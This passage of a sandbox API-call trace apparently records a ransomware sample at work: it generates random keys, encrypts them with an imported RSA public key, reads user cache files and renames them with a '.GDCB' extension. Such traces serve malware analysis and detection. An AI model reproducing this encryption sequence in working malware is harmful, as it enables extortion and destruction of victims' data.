pbBuffer=0x285d358) returned 1 [0194.480] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.481] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0194.483] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508be78) returned 1 [0194.483] CryptGetKeyParam (in: hKey=0x508be78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.483] CryptEncrypt (in: hKey=0x508be78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5fa0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5fa0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0194.483] GetLastError () returned 0x0 [0194.483] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.483] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0194.485] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508ba78) returned 1 [0194.485] CryptGetKeyParam (in: hKey=0x508ba78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.485] CryptEncrypt (in: hKey=0x508ba78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5fb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5fb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0194.485] GetLastError () returned 0x0 [0194.485] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0194.485] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0194.492] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0194.494] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.494] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.494] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0194.495] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0194.495] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0194.496] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.496] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.496] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0194.496] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0194.497] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0194.499] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508bfb8) returned 1 [0194.499] CryptGetKeyParam (in: hKey=0x508bfb8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.499] CryptEncrypt (in: hKey=0x508bfb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5fc0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5fc0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0194.499] GetLastError () returned 0x0 [0194.499] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0194.499] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0194.501] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508bc38) returned 1 [0194.501] CryptGetKeyParam (in: hKey=0x508bc38, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.501] CryptEncrypt (in: hKey=0x508bc38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5fd0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5fd0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0194.501] GetLastError () returned 0x0 [0194.501] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.501] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V010002A.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v010002a.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0194.503] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5fe0000 [0194.505] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0194.506] ReadFile (in: hFile=0x514, lpBuffer=0x61a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x61a0000*, lpNumberOfBytesRead=0x285d3e8*=0x80000, lpOverlapped=0x0) returned 1 [0194.516] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x62b0000 [0194.532] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V010002A.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v010002a.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V010002A.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v010002a.log.gdcb")) returned 1 [0194.537] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0194.539] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.539] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.539] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0194.539] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.539] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0194.541] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.541] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.541] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0194.541] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0194.541] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0194.544] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c038) returned 1 [0194.544] CryptGetKeyParam (in: hKey=0x508c038, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.544] CryptEncrypt (in: hKey=0x508c038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5fc0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5fc0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0194.544] GetLastError () returned 0x0 [0194.544] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.544] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0194.546] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508b9b8) returned 1 [0194.546] CryptGetKeyParam (in: hKey=0x508b9b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.546] CryptEncrypt (in: hKey=0x508b9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5fd0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5fd0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0194.546] GetLastError () returned 0x0 [0194.546] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.546] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V010002B.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v010002b.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0194.548] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5fe0000 [0194.549] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0194.550] ReadFile (in: hFile=0x514, lpBuffer=0x61a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x61a0000*, lpNumberOfBytesRead=0x285d3e8*=0x80000, lpOverlapped=0x0) returned 1 [0194.557] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x62b0000 [0194.581] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V010002B.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v010002b.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V010002B.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v010002b.log.gdcb")) returned 1 [0194.585] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0194.587] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.588] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.588] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0194.588] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0194.588] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0194.589] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.590] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.590] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0194.590] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.590] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0194.592] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508b8b8) returned 1 [0194.592] CryptGetKeyParam (in: hKey=0x508b8b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.592] CryptEncrypt (in: hKey=0x508b8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5fc0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5fc0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0194.592] GetLastError () returned 0x0 [0194.592] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.593] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0194.594] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508b9f8) returned 1 [0194.594] CryptGetKeyParam (in: hKey=0x508b9f8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.594] CryptEncrypt (in: hKey=0x508b9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5fd0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5fd0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0194.595] GetLastError () returned 0x0 [0194.595] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.595] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01tmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01tmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0194.628] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0194.630] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.631] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.631] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0194.631] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.631] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0194.632] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.633] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.633] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0194.633] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.633] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0194.635] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508bef8) returned 1 [0194.635] CryptGetKeyParam (in: hKey=0x508bef8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.635] CryptEncrypt (in: hKey=0x508bef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5fe0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5fe0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0194.635] GetLastError () returned 0x0 [0194.635] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0194.635] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0194.637] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508b8f8) returned 1 [0194.637] CryptGetKeyParam (in: hKey=0x508b8f8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.637] CryptEncrypt (in: hKey=0x508b8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ff0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5ff0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0194.637] GetLastError () returned 0x0 [0194.637] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.637] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\webcachev01.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0194.640] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0194.641] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.642] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.642] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0194.642] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.642] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0194.643] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.644] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.644] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0194.644] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0194.644] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0194.647] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508b938) returned 1 [0194.647] CryptGetKeyParam (in: hKey=0x508b938, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.647] CryptEncrypt (in: hKey=0x508b938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6000000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6000000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0194.647] GetLastError () returned 0x0 [0194.647] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.647] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0194.649] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508bb78) returned 1 [0194.649] CryptGetKeyParam (in: hKey=0x508bb78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.649] CryptEncrypt (in: hKey=0x508bb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6010000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6010000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0194.649] GetLastError () returned 0x0 [0194.649] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0194.649] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Windows Anytime Upgrade\\Upgrade_dism.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\windows anytime upgrade\\upgrade_dism.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0194.693] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0194.694] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.695] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.695] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0194.695] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0194.695] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0194.697] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.697] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.697] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0194.697] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.697] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0194.700] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508b978) returned 1 [0194.700] CryptGetKeyParam (in: hKey=0x508b978, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0194.700] CryptEncrypt (in: hKey=0x508b978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6020000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6020000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0194.700] GetLastError () returned 0x0 [0194.700] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.700] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0194.702] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508bbf8) returned 1 [0194.702] CryptGetKeyParam (in: hKey=0x508bbf8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0194.702] CryptEncrypt (in: hKey=0x508bbf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6030000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6030000*, pdwDataLen=0x285d630*=0x100) returned 1 [0194.702] GetLastError () returned 0x0 [0194.702] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.702] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 